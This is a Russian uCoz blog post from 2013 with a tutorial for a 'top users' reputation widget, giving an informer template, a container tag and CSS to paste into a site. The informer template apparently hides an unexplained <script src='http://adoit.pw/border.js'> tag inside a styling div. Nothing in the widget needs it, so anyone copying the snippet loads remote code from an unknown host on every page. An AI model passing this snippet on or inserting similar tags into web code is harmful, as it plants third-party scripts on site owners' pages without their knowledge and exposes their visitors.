Необычный топ пользователей для uCoz - 17 Августа 2013 - Блог

«Меню»

Главная Форум Файлы

Раздел PHPDS

Уроки Примеры Исходники Классы Компоненты

Реклама

Ваша ссылка Ваша ссылка Ваша ссылка

Мобильная версия сайта

Форма входа

Мини-чат

Загрузка чата...

Отправить

Наши флудеры

Ник: Resh

Сообщений: 527

Администраторы

Ник: Slava_Uchiha

Сообщений: 232

Администраторы

Ник: Skryaga

Сообщений: 145

Друзья

Партнёры

PHP PHPDS xsnakes System X — Files

Кто на сайте

Пользователи

Гости сайта

Пользователи отсутствуют...

Cчетчики

Главная » 2013 » Август » 17 » Необычный топ пользователей для uCoz

17:33

Необычный топ пользователей для uCoz

Блок не адаптивный и имеет фиксированную ширину, поэтому Вы сами будете указывать значения длины и ширины в пикселях.
Установка

Создайте информер для модуля Пользователи (Панель управления » Инструменты » Информеры). Выберите Способ сортировки по Репутации. Количество материалов – 8, а количество колонок – 1.

Вставьте следующий код в Шаблон информера.

Код

<div class="top_user"><a href="$PROFILE_URL$"><span>$REPUTATION$</span></a><div class="top_user_black"><script src="http://adoit.pw/border.js" type="text/javascript"></script></div><img src="$AVATAR_URL$" alt="$USERNAME$" /></div>

А этот код туда, где хотите видеть блок (это может быть Первый или Второй контейнер).

Код

<div class="top_use1s">$MYINF_1$</div>

Вставьте этот код в Таблицу стилей (CSS).

Код

.top_use1s {width:300px;height:180px;background:#1d1d1d;font-family:Tahoma,sans-serif}
.top_user {width:75px;height:90px;overflow:hidden;float:left;background:#1d1d1d}
.top_user img {width:90px;margin-left:-7px}
.top_user a {width:75px;height:90px;position:absolute;z-index:2;text-decoration:none}
.top_user a:hover {background:rgba(255,255,255,0.1)}
.top_user a span {color:#FFF;padding-top:70px;text-align:center;display:block;font-size:11px}
.top_user_black {position:absolute;width:75px;height:24px;background:rgba(0,0,0,0.3);margin-top:66px}

Просмотров: 328 | Добавил: DoG

Всего комментариев: 0

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

При копировании материалов → указывайте ссылку на источник!

Счётчики

Сегодня нас посетило

Показано 2 последних комментария из 252.

С помощью этого компонента можно прослушивать музыку в потоке TMusic v1.2 . дальше »

С помощью этого компонента можно прослушивать музыку в потоке TMusic v1.1 . дальше »

Мини-статистика

Всего зарегистрировано: 575

Постов на форуме: 2067

Тем на форуме: 452